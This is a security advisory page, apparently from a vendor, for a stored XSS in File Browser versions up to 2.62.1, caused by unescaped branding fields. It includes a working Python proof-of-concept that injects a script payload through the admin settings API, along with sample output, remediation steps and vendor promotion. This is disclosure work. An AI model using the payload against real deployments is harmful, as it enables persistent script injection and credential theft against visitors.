CVE-2026-34530

CVE-2026-34530 is a medium-severity cross-site scripting (XSS) vulnerability in github.com/filebrowser/filebrowser/v2 (go), affecting versions <= 2.62.1. It is fixed in 2.62.2.

Summary

The SPA index page in File Browser is vulnerable to Stored Cross-site Scripting (XSS) via admin-controlled branding fields. An admin who sets branding.name to a malicious payload injects persistent JavaScript that executes for ALL visitors, including unauthenticated users.


Details

http/static.go renders the SPA index.html using Go's text/template (NOT html/template) with custom delimiters [{[ and ]}]. Branding fields are inserted directly into HTML without any escaping:

// http/static.go, line 16, imports text/template instead of html/template
"text/template"

// http/static.go, line 33, branding.Name passed into template data
"Name": d.settings.Branding.Name,

// http/static.go, line 97, template parsed with custom delimiters, no escaping
index := template.Must(template.New("index").Delims("[{[", "]}]").Parse(string(fileContents)))

The frontend template (frontend/public/index.html) embeds these fields directly:

<!-- frontend/public/index.html, line 16 -->
[{[ if .Name -]}][{[ .Name ]}][{[ else ]}]File Browser[{[ end ]}]

<!-- frontend/public/index.html, line 42 -->
content="[{[ if .Color -]}][{[ .Color ]}][{[ else ]}]#2979ff[{[ end ]}]"

Since text/template performs NO HTML escaping (unlike html/template), setting branding.name to </title><script>alert(1)</script> breaks out of the <title> tag and injects arbitrary script into every page load.

Additionally, when ReCaptcha is enabled, the ReCaptchaHost field is used as:

<script src="[{[.ReCaptchaHost]}]/recaptcha/api.js"></script>

This allows loading arbitrary JavaScript from an admin-chosen origin.

No Content-Security-Policy header is set on the SPA entry point, so there is no CSP mitigation.


PoC

Below is the PoC python script that could be ran on test environment using docker compose:

services:

  filebrowser:
    image: filebrowser/filebrowser:v2.62.1
    user: 0:0
    ports:
      - "80:80"

And running this PoC python script:

import argparse
import json
import sys
import requests


BANNER = """
  Stored XSS via Branding Injection PoC
  Affected: filebrowser/filebrowser <=v2.62.1
  Root cause: http/static.go uses text/template (not html/template)
  Branding fields rendered unescaped into SPA index.html
"""

XSS_MARKER = "XSS_BRANDING_POC_12345"
XSS_PAYLOAD = (
    '</title><script>window.' + XSS_MARKER + '=1;'
    'alert("XSS in File Browser branding")</script><title>'
)


def login(base: str, username: str, password: str) -> str:
    r = requests.post(f"{base}/api/login",
                      json={"username": username, "password": password},
                      timeout=10)
    if r.status_code != 200:
        print(f"      Login failed: {r.status_code}")
        sys.exit(1)
    return r.text.strip('"')


def main():
    sys.stdout.write(BANNER)
    sys.stdout.flush()

    ap = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter,
        description="Stored XSS via branding injection PoC",
        epilog="""examples:
  %(prog)s -t http://localhost -u admin -p admin
  %(prog)s -t http://target.com/filebrowser -u admin -p secret

how it works:
  1. Authenticates as admin to File Browser
  2. Sets branding.name to a <script> payload via PUT /api/settings
  3. Fetches the SPA index (unauthenticated) to verify the payload
     renders unescaped in the HTML <title> tag

root cause:
  http/static.go renders the SPA index.html using Go's text/template
  (NOT html/template) with custom delimiters [{[ and ]}].
  Branding fields like Name are inserted directly into HTML:
    <title>[{[.Name]}]</title>
  No escaping is applied, so HTML/JS in the name breaks out of
  the <title> tag and executes as script.

impact:
  Stored XSS affecting ALL visitors (including unauthenticated).
  An admin (or attacker who compromised admin) can inject persistent
  JavaScript that steals credentials from every user who visits.""",
    )

    ap.add_argument("-t", "--target", required=True,
                    help="Base URL of File Browser (e.g. http://localhost)")
    ap.add_argument("-u", "--user", required=True,
                    help="Admin username")
    ap.add_argument("-p", "--password", required=True,
                    help="Admin password")
    if len(sys.argv) == 1:
        ap.print_help()
        sys.exit(1)
    args = ap.parse_args()

    base = args.target.rstrip("/")
    hdrs = lambda tok: {"X-Auth": tok, "Content-Type": "application/json"}

    print()
    print("[*] ATTACK BEGINS...")
    print("====================")

    print(f"\n  [1] Authenticating to {base}")
    token = login(base, args.user, args.password)
    print(f"      Logged in as: {args.user}")

    print(f"\n  [2] Injecting XSS payload into branding.name")
    r = requests.get(f"{base}/api/settings", headers=hdrs(token), timeout=10)
    if r.status_code != 200:
        print(f"      Failed: GET /api/settings returned {r.status_code}")
        print(f"      (requires admin privileges)")
        sys.exit(1)
    settings = r.json()
    settings["branding"]["name"] = XSS_PAYLOAD
    r = requests.put(f"{base}/api/settings", headers=hdrs(token),
                     json=settings, timeout=10)
    if r.status_code != 200:
        print(f"      Failed: PUT /api/settings returned {r.status_code}")
        sys.exit(1)
    print(f"      Payload injected")

    print(f"\n  [3] Verifying XSS renders in unauthenticated SPA")
    r = requests.get(f"{base}/", timeout=10)
    html = r.text

    if XSS_MARKER in html:
        print(f"      XSS payload found in HTML response!")
        for line in html.split("\n"):
            if XSS_MARKER in line:
                print(f"      >>> {line.strip()[:120]}")
        csp = r.headers.get("Content-Security-Policy", "")
        if not csp:
            print(f"      No CSP header, script executes without restriction")
        confirmed = True
    else:
        print(f"      Payload NOT found in HTML")
        confirmed = False

    print()
    print("====================")

    if confirmed:
        print()
        print("CONFIRMED: text/template renders branding.name without escaping.")
        print("The <title> tag is broken and arbitrary <script> executes.")
        print("Every visitor (authenticated or not) receives the payload.")
        print()
        print(f"Open {base}/ in a browser to see the alert() popup.")
    else:
        print()
        print("NOT CONFIRMED in this test run.")
    print()


if __name__ == "__main__":
    main()

And terminal output:

root@server205:~/sec-filebrowser# python3 poc_branding_xss.py -t http://localhost -u admin -p "jhSR9z9pofv5evlX"

  Stored XSS via Branding Injection PoC
  Affected: filebrowser/filebrowser <=v2.62.1
  Root cause: http/static.go uses text/template (not html/template)
  Branding fields rendered unescaped into SPA index.html

[*] ATTACK BEGINS...
====================

  [1] Authenticating to http://localhost
      Logged in as: admin

  [2] Injecting XSS payload into branding.name
      Payload injected

  [3] Verifying XSS renders in unauthenticated SPA
      XSS payload found in HTML response!
      >>> </title><script>window.XSS_BRANDING_POC_12345=1;alert("XSS in File Browser branding")</script><title>
      >>> window.FileBrowser = {"AuthMethod":"json","BaseURL":"","CSS":false,"Color":"","DisableExternal":false,"DisableUsedPercen
      No CSP header, script executes without restriction

====================

CONFIRMED: text/template renders branding.name without escaping.
The <title> tag is broken and arbitrary <script> executes.
Every visitor (authenticated or not) receives the payload.

Open http://localhost/ in a browser to see the alert() popup.

Impact

  • Stored XSS affecting ALL visitors including unauthenticated users
  • Persistent backdoor, the payload survives until branding is manually changed

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-34530 has a CVSS score of 6.9 (Medium). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.62.2); upgrading removes the vulnerable code path.

Affected versions

github.com/filebrowser/filebrowser/v2 (<= 2.62.1)

Security releases

github.com/filebrowser/filebrowser/v2 → 2.62.2 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade github.com/filebrowser/filebrowser/v2 to 2.62.2 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-34530? CVE-2026-34530 is a medium-severity cross-site scripting (XSS) vulnerability in github.com/filebrowser/filebrowser/v2 (go), affecting versions <= 2.62.1. It is fixed in 2.62.2. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. How severe is CVE-2026-34530? CVE-2026-34530 has a CVSS score of 6.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/filebrowser/filebrowser/v2 are affected by CVE-2026-34530? github.com/filebrowser/filebrowser/v2 (go) versions <= 2.62.1 is affected.
  4. Is there a fix for CVE-2026-34530? Yes. CVE-2026-34530 is fixed in 2.62.2. Upgrade to this version or later.
  5. Is CVE-2026-34530 exploitable, and should I be worried? Whether CVE-2026-34530 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-34530 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-34530? Upgrade github.com/filebrowser/filebrowser/v2 to 2.62.2 or later.

Other vulnerabilities in github.com/filebrowser/filebrowser/v2

CVE-2026-54090CVE-2026-54093CVE-2026-54094CVE-2026-54092CVE-2026-54096

Stop the waste.
Protect your environment with Kodem.